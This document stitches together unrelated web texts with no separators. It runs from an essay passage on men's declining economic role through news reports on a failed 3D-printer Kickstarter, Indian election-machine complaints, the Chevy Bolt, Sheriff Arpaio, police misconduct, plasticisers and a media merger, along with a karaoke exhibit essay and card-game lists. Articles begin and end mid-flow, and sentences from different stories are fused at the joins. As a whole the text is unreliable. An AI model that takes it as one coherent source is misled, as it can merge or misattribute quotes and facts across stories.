And yet, the housing bubble is just the latest in a long string of efforts to prop up macho, the most powerful of which was the New Deal, as historian Gwendolyn Mink has argued. At the height of the Great Depression in 1933, 15 million Americans were unemployed out of a workforce that was roughly 75 percent male. This undermined the male breadwinner model of the family, and there was tremendous pressure to bring it back. The New Deal did just that by focusing on job creation for men. Insulating women from the market by keeping them in the home became a mark of status for men—a goal most fully realized in the postwar nuclear family (Rosie the Riveter was a blip). In this way, according to historian Stephanie Coontz, the Great Depression and the New Deal reinforced traditional gender roles: Women were promised economic security in exchange for the state’s entrenchment of male economic power.
Today, this old bargain has come undone, and no state intervention will restore it. Indeed, the U.S. economic stimulus package no longer bears much resemblance to a New Deal-style public-works program. Despite early talk that the stimulus would stress shovel-ready infrastructure projects, high-speed rail lines, and other efforts that would bolster heavily male sectors of the economy, far more of the money is going—directly or indirectly—to education, healthcare, and other social services. Already in the United States, women make up nearly half of biological and medical scientists and nearly three quarters of health-industry workers. No less an authority than U.S. President Barack Obama has weighed in on the shift of power from men to women, telling the New York Times that, though construction and manufacturing jobs won’t vanish altogether, “they will constitute a smaller percentage of the overall economy.” As a result, he said, “Women are just as likely to be the primary bread earner, if not more likely, than men are today.”
What this all means is that the problem of macho run amok and excessively compensated is now giving way to macho unemployed and undirected—a different but possibly just as destructive phenomenon. Long periods of unemployment are a strong predictor of heavy drinking, especially for men ages 27 to 35, a study in Social Science & Medicine found last year. And the macho losers of globalization can forget about marrying: “Among the workers who disproportionately see their jobs moving overseas or disappearing into computer chips,” says sociologist Andrew Cherlin, “we’ll see fewer young adults who think they can marry.” So the disciplining effects of marriage for young men will continue to fade.
Surly, lonely, and hard-drinking men, who feel as though they have been rendered historically obsolete, and who long for lost identities of macho, are already common in ravaged post-industrial landscapes across the world, from America’s Rust Belt to the post-Soviet wreckage of Vladimir Putin’s Russia to the megalopolises of the Middle East. If this recession has any staying power, and most believe it does, the massive psychic trauma will spread like an inkblot.
How will this shift to the post-macho world unfold? That depends on the choices men make, and they only have two.
The first is adaptation: men embracing women as equal partners and assimilating to the new cultural sensibilities, institutions, and egalitarian arrangements that entails. That’s not to say that all the men in the West will turn into metrosexuals while football ratings and beer sales plummet. But amid the death of macho, a new model of manhood may be emerging, especially among some educated men living in the affluent West.
Economist Betsey Stevenson has described the decline of an older kind of marriage, in which men specialized in market labor while women cared for children, in favor of “consumption” marriage, “where both people are equally contributing to production in the marketplace, but they are matching more on shared desires on how to consume and how to live their lives.” These marriages tend to last longer, and they tend to involve a more even split when it comes to household duties.
Not coincidentally, the greater adaptability of educated men in family life extends to economic life, too. Economist Eric D. Gould found in 2004 that marriage tends to make men (particularly lower-wage earners) more serious about their careers—more likely to study more, work more, and desire white-collar rather than blue-collar jobs
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raved printer with spare parts and tickets to a launch event in Las Vegas.
Home-grown start-up Pirate3D's founders (from far left) Brendan Goh, Tsang You Jun and Roger Chang with the Buccaneer 3D printer, in a file photo from last year. Delays in the project, apparently due to poor planning and lack of skills, have led to only 800 or 900 of the machines being made. Mr Goh said that the company is now trying to raise between $2 million and $3 million to fund production of a new machine, using updated technology. He hopes to use the proceeds from the new product to fulfil the back orders. ST FILE PHOTO
Delays in the project, apparently due to poor planning and lack of skills, have led to only 800 or 900 of the machines being made.
Rather than continue to make a machine using technology designed in 2013, the company is scrapping the project.
Pirate3D's chief operating officer Brendan Goh said that the company is now trying to raise between $2 million and $3 million to fund production of a new machine, using updated 3D printing technology.
He hoped the funding would come through this year, allowing the company to build on the plans of the current printer, produce and sell the new machine by the third quarter of next year.
"As much as possible, we will build a new product, and from proceeds of the new product, use that to fulfil the back orders," said Mr Goh. He said the new machine will cost less than US$799.
Still, he admitted that the new projected timeline is an estimate and that the company oversold its capabilities in 2013.
"We didn't have enough professional people, and a lot of money went into research and development. In short, we bit off more than we can chew."
The lack of funds led the company to cease operations two months ago, and this will continue for another three months, Mr Goh said in an update to backers on Oct 13.
He told The Straits Times the company still has a team of 12 working on the new product, after it had to dismiss 10 workers earlier this year.
Some angry Kickstarter backers have demanded a refund and accused the company of using the funds for other purposes, which Mr Goh denies.
"The most important thing is integrity. There is no misappropriation of funds," he said. "There are Kickstarter products that fail."
He added that the company is not looking at refunding any backers, and is concentrating on fulfilment.
Crowdfunded projects can prove risky and platforms such as Kickstarter and Indiegogo have previously suffered failures. Some projects have been delayed by several years, while others never materialised.
Board game The Doom That Came To Atlantic City raised US$122,000 but was cancelled after several delays, prompting an investigation by the United States Federal Trade Commission.
Crowdfunding platforms do not normally issue refunds for cancelled or failed projects.
US-based Kickstarter recently put more emphasis on suspending projects it deems to be questionable in its goals or promises.
It pulled funding for the Skarp razor, which supposedly uses a laser to remove facial hair. That project raised US$4 million in funding and has since appeared on Indiegogo.What happens when karaoke gets scary.
Photo illustration courtesy of apexart
This story is adapted from Dan Kois’ exhibition essay for SCARYOKE!!! at apexart in New York.
A few months ago, an art gallery in New York asked me to curate an exhibition. After confirming that they understood that I knew basically nothing about art, I agreed. That exhibit, SCARYOKE!!!, opens today and runs through Dec. 21 in Tribeca, and is free to the public. If you stop by during open hours, you can grab a beer, visit one of our three custom singing environments, and sing a song—but you won’t be able to choose which song to sing. Instead, it will be chosen for you at random from this 15-song playlist.
The exhibit is an attempt to explore the joy and terror of public singing. To explain more, let me tell you a story of a town in Provence.
L’Isle-sur-la-Sorgue is a medium-sized town with a tiny village at its heart: a kilometer-square island surrounded by artificially diverted waterways and moss-draped waterwheels, its narrow streets radiating out from a central church at non-square, medieval angles. If you walk down Rue Danton, keeping an eye out for the dog crap that always accumulates in the road’s central culvert, you’ll come upon the Black Sheep, an Irish pub incongruously placed in the middle of Provence. Inside it’s all dark wood, Celtic flags, and Joshua Tree posters. It was in the Black Sheep on a recent Thursday night that I had one of the most terrifying experiences of my life. I sang karaoke in a French bar, and I loved it.
The place was packed, and my dad and I were the only Americans there. The meager songbook did feature English-language songs, but hardly anyone chose them; besides ours, the only Anglophone songs all night were Tracy Chapman’s “Baby Can I Hold You” and the Beatles’ “Yesterday,” both performed as heavily accented, ornate chansons by dudes trying to impress their dates. (In general, the ballad-to-rocker ratio was higher than at any gay bar I’ve ever been in.) When my dad and I went up onstage together, the karaoke jock—a wiry guy who looked like DJ Qualls, wearing a fake vintage-Americana T-shirt advertising a gas station in “Orlando City”—ignored our choice of “Let It Be” and instead played a series of what seemed to be French novelty hits, encouraging us to sing along as the crowd roared. My heart was pounding so hard I could barely hear myself sing, which is just as well, as I was sight-singing songs I’d never heard in a language I knew just well enough 21 years ago to get a 3 out of 5 on the AP test.
Anyway, it was great. It was a very unexpected heightening of what I love about karaoke in the first place, which is that it forces me out on a limb. Now, I am not an adrenaline junkie. I will never skydive or bungee jump or be a Tough Mudder. But to go up on a stage in front of strangers, mic in hand, ready to sing but not sure at all what’s about to happen, is one of the great pleasures of my life. I forget myself in those moments. I get out of my head—the place where I otherwise seem to live 24/7/365. I’ve sung with good ol’ boys in North Carolina and with strippers in Portland, Ore. I’ve sung in front of a tight, professional, five-piece band, and I’ve sung along with crummy MIDI tracks that sound like they were generated on an Atari 2600. I’ve sung in private rooms with friends, and in packed bars where I didn’t know a soul. But each and every time I take hold of a microphone, I feel that same sense of queasy excitement—the knowledge that I am delightfully ill-prepared for what is about to happen, and that everything could go wrong, but I am gonna feel so good while it’s happening.
And it’s not just me. Singing is, literally, good for you. In her book Imperfect Harmony: Finding Happiness While Singing With Others, Stacy Horn notes that singing causes the body to release endorphins and serotonin. One study even suggests that singing helps the body generate prolactin, the chemical that provides emotional relief when released in tears—evidence that sad songs may, as Billy Ocean noted, make you cry, but they may also give you a neurochemical boost. So in a world where we pop vitamin C supplements by the handful and load our meals with omega-3s, why don’t we all sing more often? Well, partly it’s a matter of perception. You can drink a kale smoothie in the office with few social ramifications other than the possibility of Kale Teeth. But it’s harder to sing in public. In my day-to-day existence, the singers I tend to encounter tend to fall into three categories:
1. The mentally ill, who sing because singing makes sense to them, even if it does not make sense to the people sitting next to them on the bus;
2. street performers, who think nothing of crooning Sinatra medleys outside my office window for hours at a stretch;
3. my adorable children, who are of course amazing singers whom I would never ask to stop scream-singing “I Love It” for the 746th consecutive time.
None of these options really feels practical for my life. When do I get to sing? Only a very tiny percentage of Americans—as little as.0001 percent!—are rock ‘n’ roll stars who sing every night before adoring crowds, and even fewer are Broadway ingénues. Some larger percentage of us sing regularly in church choirs or choral societies or amateur garage bands. Some even larger percentage seize the opportunity of having children to sing lullabies, nursery rhymes, songs our grandmothers used to sing with racial politics that don’t really stand up to strict scrutiny.
Where else? We sing the national anthem at baseball games. We sing our colleges’ fight songs at reunions. We sing “If I Had a Hammer” sotto voce while hammering in the morning.
But for the vast majority of humans, our singing takes place—if we sing at all—in odd, jerry-rigged circumstances: in the shower, where the acoustics of bathroom tiles make us more closely resemble the resonant, confident singers we wish we were; in the car, where we can crank up the radio’s volume loud enough that we can barely hear ourselves at all. And maybe, once every couple of years, we get drunk enough to agree to karaoke, where we ambitiously submit to the KJ “Total Eclipse of the Heart” and then, an hour later, arm in arm with three friends, massacre it.
What does it take for you to cut loose and sing? For some it requires total privacy. Sometimes alcohol helps, or despair. My colleague Aisha Harris has proposed in Slate that her presence as a black person at all-white events seems to make white people feel they have permission to perform. I have a friend who swore up and down she’d never, ever sing karaoke who then, emboldened by a private room populated only by friends, cut loose with a note-perfect version of “Ignition (Remix).” The first time I ever got up the nerve to sing karaoke, it was in a room full of older comedians I desperately wanted to impress—or, rather, comedians in front of whom I didn’t want to look chicken.
How safe do you have to feel to sing in public? How dangerous does singing in public have to feel before it thrills you? What if you’re invisible? What if your friends sing with you? What if you don’t even know what song you’re going to sing?
Reporting a story on the fertile karaoke scene in Portland, I encountered four friends who performed what they called “scaryoke”: going up onstage with no idea what song was coming up, as it had been picked by your friends and submitted without your consent. I still remember the joyful surprise with which one of the group greeted the opening chords of Donna Fargo’s chipper 1972 hit “The Happiest Girl in the Whole USA,” as the other three members of her group danced like backup singers behind her. It was a pure performative moment: a song sung as a matter of survival, chosen without pretext or dick-measuring intent, picked by friends for a friend with the specific intent of giving her a good time. It’s that feeling of unfettered pleasure I’m attempting to recreate—or at least interrogate—in SCARYOKE!!!.
Depending on which of our singing environments you choose—the private shower, the semipublic car, or the karaoke stage—other visitors will be able to see you a little, a lot, or not at all. You can sing by yourself or with a friend or a group of friends or however many strangers you can stuff into the shower with you. With the help of John Brophy, KJ and creator of the amazing Baby Ketten Karaoke in Portland, I’ve chosen 15 tracks specifically for the variety of challenges they offer singers. There’s classic rock, hip-hop, contemporary pop, indie rock, punk, country, and more. Songs range from seven-minute epics to an under-three-minute nugget of pop perfection. You won’t know what song is going to start playing when you press that button. But they’re all fun to sing—that’s my guarantee as your friend.
And as your friend I’m also urging you forward, even though you’re nervous. You’ve never sung in front of people before? Give it a try! You don’t know all the songs that well? Sing ’em anyway! Embrace your fear. Find your light. Sing like everyone’s listening.
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SCARYOKE!!! at apexart, 291 Church St., New York. Nov. 7 through Dec. 21. Hours vary; see website for more information.Ranchi: Politicians and journalists were beaten up by Ranchi police after Lok Sabha poll candidates and their supporters complained of tampering with Electronic Voting Machines (EVMs).
The incident happened Thursday night when reports of EVMs being allegedly tampered with in Ranchi spread. The political parties came to know about it and informed the district administration.
BJP candidate Ram Tahal Chaudhary, Jharkhand Vikas Morcha -Prajatantrik (JVM-P) candidate Amitabh Chaudhary and TMC candidate Bandhu Tirkey reached the spot with party supporters.
The candidates and party supporters made hue and cry over the alleged tampering of the EVMs.
According to police, the supporters of various parties misbehaved with the woman officer who was in-charge of the EVMs.
The policemen resorted to lathi charge to disperse the mobs and control the situation. The candidates of the BJP, JVM-P and TMC and journalists covering the incident were all allegedly beaten up.
"We were covering the entire incident. The policemen deliberately beat up media persons despite the fact that we revealed our identity. The cameras were snatched and we were not allowed to cover the incident," reporter Sohan Kumar said.
Jharkhand Chief Election Commissioner P.K. Jajorioa reached the spot Thursday night to take stock of the situation.
"Everything took place due to some confusion. No malpractice has been done," he told reporters.
IANS
Firstpost is now on WhatsApp. For the latest analysis, commentary and news updates, sign up for our WhatsApp services. Just go to Firstpost.com/Whatsapp and hit the Subscribe button.2017 Chevy Bolt Nearly Ready For US Release — A Broader & Deeper View
April 18th, 2016 by Cynthia Shahan
The news in California of the long lines of folks collectively camping outside with a common purpose brought back some memories. Tesla lovers grew in number rapidly to create the largest campouts since ’70s rock concert sales. The lines climbed quickly to supply ~200,000 paid reservations in ~1 day. They continue to pile in and may well have surpassed 400,000 by now.
Jeff Cobb for GM-Volt.com points out that there are no pre-orders for GM’s 2017 Bolt EV. General Motors advances with a more subdued sharing of the merits of the Chevy Bolt’s powertrain. The company has focused on the Bolt’s strengths without drawing too much comparison to the Tesla Model 3, Cobb notes, but there’s clearly a relationship between GM’s fast-tracked launch of the Bolt and the looming Model 3. “Be that as it may be, it is long a matter of record that GM did build the Bolt at least in partial response to Tesla’s proposed $35,000 EV now known to have at least 215 miles range,” Cobb adds.
Most involved in the transition to all-electric vehicles support each other even with natural competition. In 2013, GM CEO Dan Akerson spoke of the building of a 200-mile EV and Elon Musk sent an approving tweet. More EVs on the road help everyone. All EVs improve everyone’s quality of life. EVs are not only about technology and finesse — they are about cleaner air. More EVs from other brands also bring broader EV awareness and infrastructure.
Continuing, Cobb reports that the Bolt’s design and specs stemmed from research it had conducted or seen on the desires/needs of potential EV buyers.
“GM said independent market research had shown that 70 percent of would-be EV buyers indicated they would be sufficiently content with 200-miles range to the point that they could live with it in their one and only car.”
On the range front, the Bolt was a big step up from GM’s previous all-electric car, the Chevy Spark EV. “Volumetrically, the Bolt battery is nearly double the size (2.05 times the size) as the Spark EV’s but has more than triple the capacity (60 kilowatt-hours versus 18.4 kWh for the Spark). Packing energy density is 60-percent more.”
Perhaps equally exciting, the battery warranty is 8 years or 100,000 miles but GM says that it has designed the battery pack to last as long as the car!
Nonetheless, the Bolt is still on the small side of things, which will keep low-priced EV shoppers in the small-car market.
“The Bolt EV at 164 inches long, 70 inches wide, and 63 inches high is still smallish, but larger than the tiny Spark EV and boasts outsized interior space utilization.”
I like small EVs that are taller because of the sense of space one enjoys. I am curious to sit inside the Bolt, as highlights from Cobb are that the Chevy Bolt has notable space for practical uses and, of course, humans: “flat floor, good ingress and egress, and room for five people plus cargo.”
One of my favorite things about driving electric is regenerative braking. It is much stronger in the BMW i3 and Teslas than in our Nissan LEAF, and it looks like GM has recognized the desire for such strong regen, as the Bolt will reportedly be able to come to a dead stop with regenerative braking alone.
For more details and discussion, check out some illustrations and photos from Chevrolet below and the full story from Cobb here. And keep up with news from GM and Chevrolet here on CleanTechnica as the 2017 Chevy Bolt begins sales. We also aim to get one for long-term review, to complement our long-term reviews of the Nissan LEAF, Tesla Model S, Tesla Model X (starting soon), and Chevy Volt (starting soon).
Related Stories:
Chevy Marketing Director Interview About The Chevy Bolt Is Worth A Watch
Chevy Bolt Is Here
Chevy Bolt Not A Compliance Car, Says GM
Chevy Bolt — Deeper Dive (+ Exclusive Video)PHOENIX (Reuters) - A federal judge on Thursday grilled an aide to Arizona sheriff Joe Arpaio for misleading local residents about a ruling that found deputies racially profiled Latino drivers.
Maricopa County Sheriff Joe Arpaio speaks during the Republican Party election night event in Phoenix, Arizona November 6, 2012. REUTERS/Joshua Lott
During the tense hearing in Phoenix, U.S. District Judge Murray Snow also threatened to personally attend training sessions for deputies to ensure his order from last year is complied with at Arpaio’s Maricopa County Sheriff’s Office.
Arpaio, a divisive figure in the national immigration debate who bills himself as “America’s toughest sheriff,” was not present at the hearing.
“I am not going to tolerate any slip-ups any more,” Snow said on Thursday.
The judge has called for an independent monitor to ensure Arpaio’s Sheriff’s Office stops using race in making law enforcement decisions, in a ruling that stems from a 2007 lawsuit questioning whether police could target unauthorized immigrants without profiling Hispanics who are U.S. citizens or legal residents.
At Thursday’s hearing, Snow took Arpaio’s chief deputy Dave Trombi to task for mischaracterizing the judge’s order at a March 15 community meeting, where Trombi told residents that the judge had found deputies detained Latinos 14 seconds longer than other drivers.
That was not in the judge’s order.
Trombi, sitting in the witness stand, admitted during questioning by the judge that he “ashamedly” had not reviewed the ruling at the time of the meeting but has since done so.
Snow told lawyers for the sheriff’s office he will take further action if there are more wrongful actions by officials in the office. “I am at the end of my rope,” he said.
Tim Casey, the lead attorney for the sheriff’s office, said the agency would comply with the judge’s order.
“The fact is it’s the law,” Casey said. “Come heck or high water we will comply with it.”
Arpaio has denied that his deputies use racial profiling and his sheriff’s office is appealing Snow’s findings.
Snow also ordered the sheriff’s office to submit plans and a timeline on who will train deputies to avoid future recurrences of racial profiling and what would be covered in the training.
Snow said he had “zero confidence” the training would be adequate and plans to show up unannounced at sheriff’s office teaching sessions. “I’m going to make sure there isn’t any baloney going on,” he said.
Last month, Snow warned Arpaio and another aide, Jerry Sheridan, that he would not tolerate the type of behavior recorded in an October briefing that saw Sheridan call the judge’s court order ludicrous and absurd.But even if New York, for some reason, refused to raise the age, and refused to offer people their constitutional right to a speedy trial, at least one more safety net should've saved Kalief. It is fundamentally unethical that we basically have income requirements determining who stays in jail and who doesn't. We might as well check for credit scores. That Kalief, and tens of thousands of New Yorkers, end up going to jail, and costing our state hundreds of millions of dollars, simply because they could not afford the upfront costs of a fine, is outrageous. With the cost of living in New York City being what it is, and wages for working-class families meaning that folk can hardly get by, living paycheck to paycheck, what we have now is the reality that we have two justice systems — one for the wealthy and one for everyone else. If someone, particular people being arrested for petty or non-violent offenses, can prove that they do not have the funds to pay bail, the response should never be to then send them to Rikers. That's outrageous. Our system does not have to be so cruel and obtuse. Instead, people who cannot afford bail should be sent down a very different path with the appropriate legal aid to ensure they attend their court hearings and have a speedy trial.0 Shares
Batista was recently a guest on the Talk is Jericho podcast hosted by Chris Jericho. He spoke on a wide variety of topics from his current movie career (starring in Guardians in the Galaxy 2) and even some about his professional wrestling career.
Batista was asked if he misses wrestling, which he says he does. He only doesn’t miss WWE and the bullsh*t that comes along with it.
“Yeah, I miss it a lot. … There’s nothing like it, you know that. There’s just an adrenaline rush that goes along with it. What I don’t miss is the company, to be honest with you. I don’t miss WWE. I miss wrestling, I just don’t miss dealing with the company and its bullsh*t. Yeah it’s the bullsh*t man, it’s just too much bullsh*t.”
He also says that he has asked to come back to WWE in the past but was rejected. His idea is that he would feud with Triple H and it would serve as his retirement:
“I’ve asked, yeah, I’ve asked. Well, there’s… I’ve asked for what I want. I’ll tell you and I’ve talked to Hunter about it and I’ve talked to Vince about it. I said I would come back and run a whole program with Hunter. That’s the only thing I’m interested in doing. They’re just not interested in it, you know?”
If he would work with anybody else:
“At this point, no, because it would be my retirement thing. It would be what I would go out on. I would come back and I’d do a whole program and then I’d be done.”
[irp posts=”12131″ name=”Batista Rips The Signature Stephanie McMahon Slap and Her WWE Character”]
Let us know what you think in the comment section below.
You can listen to the full podcast here. h/t to CagesideSeats.comIn the past, the BBC has been known to announce the new Doctor in a special show. Making a song and dance about the appointment of British TV’s most prized role has been par for the course.
But at the end of last night’s Newsnight programme, presenter Evan Davis teased audiences with a speculative piece about the possibility that the new Doctor will be a woman. And, specifically, portrayed by one of the favourite names that’s been bandied about, Phoebe Waller-Bridge.
The story began with Davis smirking about the fact that Saturday’s Doctor Who Season 10 finale dropped heavy hints that that next Doctor could be a woman. What followed were some clips, the first showing John Simm’s Master asking: “Is the future going to be all girl?” and Peter Capaldi’s incumbent Doctor responding: “We can only hope.”
The next clip showed companion Bill Potts (in human form) speaking to the Doctor: “You know how I’m usually all about women and people my own age?” before finally showing the Doctor on his knees in the snow declaring: “I will not change.”
Davis then refers to “bookies’ favourite” Phoebe Waller-Bridge and her denial that she’s about to become the first female Doctor. He points out that Joanna Lumley has already played the Doctor for Comic Relief and so this statement is technically true.
He then references a recent interview Waller-Bridge gave for the Gold Derby Channel on YouTube before showing the clip which shows her asked directly whether she is the next Doctor. She laughs uncomfortably before saying: “I am not allowed to say anything about that one way or the other. It would be cool but… [I’m] doing other stuff.”
The clip finishes, with the Newsnight team having overlaid some regeneration effects over the clip.
If this is the BBC making a soft announcement, it’s highly unorthodox. But, conversely, it’s just the sort of thing an incoming showrunner – a certain Chris Chibnall who takes over from the departing Steven Moffat for the next series – might approve of.
Would you like to be part of the Fandom team? Join our Fan Contributor Program and share your voice on Fandom.com!A Tampa fire captain has agreed to plead guilty to federal charges for embezzling more than $187,000 from a children's charity that was founded by his father.
Alfred Schaffer, 50, faces up to 20 years in prison under terms of a 16-page plea agreement filed in U.S. District Court in Tampa. A change of plea hearing is set for Dec. 7.
Tampa Fire Rescue spokesman Jason Penny says Schaffer was suspended from his job Monday.
Officials say Schaffer took the money from Hope Children's Home through access he had in his side job as the home's business manager and chief financial officer. The plea agreement says the thefts began in 2007 and continued through October 2011.
Court documents show the scheme involved more than 100 checks Schaffer wrote to himself.Most food products are now packaged in plastic. German researchers have now shown that plasticisers can enter the body, disrupt hormone production, and cause people to gain weight. EURACTIV Germany reports.
Plasticisers are added to food packaging, cables and various other products in order to make them more flexible and easier to handle.
Otherwise known as phthalates, plasticisers are controversial because they can enter the body through the skin or in food, where they can disrupt hormone production.
Fatty foods are particularly prone to this, as the plasticisers dissolve easily and migrate into the food.
Phthalates have long been suspected of contributing to weight gain. Researchers at the Helmholtz Centre for Environmental Research (UFZ) and the Integrated Research and Treatment Centre (IFB) at the University Hospital of Leipzig have been able to demonstrate for the first time that plasticisers can have that effect on the body.
>>Read: Study: Germans still love their meat and eat plenty of it
One in two adult Germans is overweight, with an “alarming number” of children and young people, around 15%, also suffering from weight problems, said Martin von Bergen of the UFZ. The risk of cardiovascular disease, joint damage, chronic inflammations and cancer is increased with every excess kilo.
The number of obese people is increasing globally. “In addition to bad eating habits and lack of exercise, genetic factors also play a role,” said von Bergen. He added that, “certain environmental factors, such as phthalates, can contribute to the development of obesity”.
Researchers tested their theory on mice, adding the DEHP plasticiser to their drinking water. The results showed increases in weight, especially in female mice. Blood tests also revealed disrupted glucose metabolism and increased levels of unsaturated fat in the bloodstream.
“Phthalates affect hormonal balance greatly. Even in low concentrations, they can cause significant changes, such as weight gain,” said von Bergen.
>>Read: EU project hopes to phase out animal-testing
How plasticisers actually change hormonal balance and cause weight gain is still unclear. Researchers are still pursuing the answer to this particular quandary.
Von Bergen and his colleagues also want to investigate their effect on the development of early childhood diseases. The results are intended to help carry out risk assessments on hormone-disrupting chemicals, so-called endocrine-active substances, by both German and European authorities.
At EU level, the European Commission has once again delayed its submission of a definition of chemicals that affect the hormonal systems of individuals or their offspring. The European executive has cited the need to do further work on the issue, but has still come in for criticism from the European Court of Justice.
Despite the indictment, a hastening of proceedings is not likely, as illustrated by an opinion issued by the Commission on Thursday (21 January).On Monday, Spain’s El Periodico reported that Barcelona is to get the world’s first museum dedicated to the Paralympic movement. The museum will be part of the facilities at Anella Olímpica and run by Open Camp Europe. It is schedule to open in February or March of 2016.
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Open Camp backers say the museum will be located at Anella Olímpica, a multivenue space, which already hosts a number of sportainment facilities. Anella Olímpica was the primary venue for the 1992 Summer Olympic and Paralympic Games. The facilities already include the Joan Antoni Samarach Olympic and Sports Museum, the National Physical Education Institute (INEFC), Estadi Olímpic Lluís Companys, the Palau Sant Jordi sports hall,
The plans for the museum include presenting a history of the Paralympic Games, and opportunities for visitors to put themselves briefly into the shoes of athletes with disabilities through interactive exhibits. The includes exhibits that try to give visitors an idea of what it means to be blind, or to compete in cycling while having a physical disability. The museum promoters insist that the thirty-six planned interactive exhibits are an integral part of the museum’s future success.
Backers of the museum have agreements with Fundación ONCE, Randstad and Alliance. Comité Paralímpico Español have also indicated the support the initiative.
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PinterestHAYWARD — A Hayward police officer resigned Monday after being arrested in connection with an extortion scheme in which prosecutors say he used his badge to take advantage of an alleged criminal.
Romeo Aberin, a six-year veteran of the department, was arrested on suspicion of committing extortion under the color of authority after the incident last month, which involved a woman suspected of forging a prescription, said Sgt. Mark Ormsby.
The 30-year-old officer had been on paid leave since Sept. 15 — the same day San Leandro police contacted the Hayward Police Department about the allegation against Aberin.
A Hayward police inquiry revealed that Aberin was investigating a possible prescription forgery incident, interviewed a suspect and determined that she had been involved in the forgery, Ormsby said.
Instead of documenting his actions and arresting the suspect, Aberin attempted to use her as a confidential informant, Ormsby said. Aberin exchanged phone numbers with her and required her to “provide useful information related to unassociated felonious criminal activity.”
After the contact, Aberin never notified the department of his actions or intent, which Ormsby said was a requirement. The Hayward Police Department has a confidential informant policy that all officers are required to follow with strict protocol.
About two weeks later, on Sept. 13, Aberin contacted the suspect and arranged a meeting with her at her workplace, Ormsby said. Aberin then met with the suspect while off duty and discussed his previously stated requirements.
When she advised Aberin there was no useful information to give him, he proceeded to ask for cash in exchange for neglecting to report any criminal activity against her.
“Out of fear and duress, the victim complied and provided Aberin with a known and undisclosed amount of cash,” Ormsby said.
The following day, Sept. 14, the suspect reported the incident to the San Leandro Police Department, which conducted a preliminary investigation and forwarded its findings to Hayward police.
Hayward police later corroborated the woman’s statement, and a judge issued a warrant for Aberin’s arrest.
Aberin turned himself in at the Hayward police station Monday. He was booked into the Hayward jail and released on $50,000 bail, Ormsby said.
Hayward police Chief Diane Urban said she was “shocked and disappointed” when she heard of the alleged misconduct.
“The Hayward Police Department is highly committed to excellence and accountability, and our investigation and response to this incident reflects our enduring commitment to ensure criminal behavior is not tolerated,” Urban said.
“Anytime you hire from the human race, there are going to be human mistakes,” Urban said. “People make mistakes. How we react to it is what defines us. I just don’t want one person’s misconduct to reflect the 300-plus people who work for this organization.”
The arrest came just 10 days after another Hayward police officer, 38-year-old Richard Scott McLeod, was arrested on suspicion of sexually abusing several girls at a Livermore after-school program over a nine-year period. Both McLeod and Aberin were hired by Hayward police in 2007, the year before the department began utilizing an outside agency for its employees background checks.
McLeod was arrested Sept. 28 at the Livermore Police Department after an investigation into allegations he sexually abused girls in their early teens while working as a teacher for Kid Zone. The after-school program for middle school children is run by the Livermore Area Recreation and Park District.
Allegations recently surfaced that McLeod, who worked as the lead coordinator for the program from 1992 to 2007, had engaged in oral sex, sexual intercourse and inappropriate touching of several girls enrolled in the program. The abuse began in 1998 and went on until he resigned from the program to join the Hayward Police Department nine years later, police said.
While McLeod is still a member of the Hayward Police Department and has been on paid leave since his arrest, he will be placed on unpaid leave starting this week, Urban said. He is being held in Santa Rita Jail without bail.
Anyone who believes they may be a victim of a similar situation is asked to contact Hayward police at 510-293-7034. The investigation is ongoing.
Contact Natalie Neysa Alund at 510-293-2469. Follow her at Twitter.com/nataliealund.Meredith Corp. Buys Time Inc. In Koch-Backed Deal
Enlarge this image toggle caption Mario Tama/Getty Images Mario Tama/Getty Images
Meredith Corp., owner of Better Homes & Gardens and Family Circle, has struck a deal to buy magazine publisher Time Inc., for an all-cash backed transaction of $1.84 billion, joining two vastly different media portfolios. The deal, including the company's debt, is valued overall at $2.8 billion.
The Iowa-based publisher, Meredith has agreed to pay $18.50 a share for Time — the New York publisher of People, Fortune and Sports Illustrated, which Meredith announced in a press release Sunday night.
"We believe this acquisition represents a transformative and financially compelling growth opportunity for Meredith Corporation," said Meredith CEO Stephen Lacy.
It's a long-sought-after victory for Meredith, secured in large part by a $650 million investment from Charles G. Koch and David H. Koch, the billionaire brothers known for their politically conservative advocacy. According to The New York Times, talks of acquisition were said to be renewed earlier this month, in a third known attempt, when the Kochs agreed to back Meredith's offer with more than $500 million in equity.
Meredith says the funds from Koch Equity Development, the Kochs' private investment arm, will be used to finance the deal and refinance existing debt, and that "KED will not have a seat on the Meredith Board and will have no influence on Meredith's editorial or managerial operations."
As NPR's David Folkenflik reported, the Kochs previously expressed interest in acquiring a handful of media properties including the Los Angeles Times and the Chicago Tribune in 2013.
Since Time Warner Inc. broke off Time as a separate company in 2014, Reuters reports, Time has struggled to gain footing amid the shrinkage of print circulation in an increasingly digital media landscape.
Reuters adds, "analysts have said that bulking up on publishing assets could give Meredith the scale required to spin off its broadcasting arm into a standalone company."
Last year, the two media companies reached a combined revenue of $4.8 billion. Meredith said the deal was unanimously approved by their boards of directors and will close early next year. Once merged, Meredith says it will serve a readership of 135 million and paid circulation of nearly 60 million.My standard Golgari/Midrange/Rock Deck. It goes into nearly any matchup with the ability to win. Once I sideboard in cards against a certain matchup it's pretty hard to beat, and the deck is incredibly fun to play as well.
Sylvan Caryatid: Mana Ramp, Hexproof, slows down aggro and control can't kill her unless it's a board wipe.
Lotleth Troll: I love this card. Difficult to deal with regen, has trample,
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1 - - - When enchanted creature deals damage, it is healed by its Attack value. Search the ponds. Find one and your name is eternal.
59 1 Lifestealer Creature Human U D5 4 2 5 When Lifestealer deals damage, it is healed by 2. One day he'll pay for these borrowed lives.
783 7 Lightning Chest Spell Lingering R E3 - - - Linger: 5 Unused Energy is added to your current Energy at the start of your next turn. Danger, do not touch!
162 2 Loyal Darkling Creature Human C D2 1 2 2 Unstable 2 When Countdown is 0, you may sacrifice Loyal Darkling. To night, she'll return.
235 4 Machinated Enchantment R E2 - - - Enchanted creature gets +5 Attack, and its base Countdown is doubled. Man shall become metal.
148 2 Machination Mindset Enchantment U E2 - - - Enchanted melee creature gets Relentless and +1 Attack. No doubt, no fear, no thought.
226 4 Machine Chant Spell Destruction R E5 - - - Deal magic damage to target unit equal to the number of structures you control. Increase Energy by 1. "It's an odd song for sure. Just wait for the crescendo!" - Arran, Machine Priest
79 1 Machine Priest Creature Human, Tribesman U E3 0 2 4 Machine Priest does not attack. Structures and Automatons you control have +1 Attack. Deep within the mountainous assembly halls, the Litany Mechanica is sung day and night.
85 2 Magma Pack Enchantment U E2 - - - When Magma Pack comes into play, enchanted unit's Attack is doubled. Enchanted unit is destroyed after attacking. Don't worry, just push the button when you arrive.
808 7 Magma Thrower Creature Human C E3 2 2 3 Magma Thrower's Attack is increased by your current Energy resource. If a problem can't be solved with a gallon of molten rock, it's not worth solving.
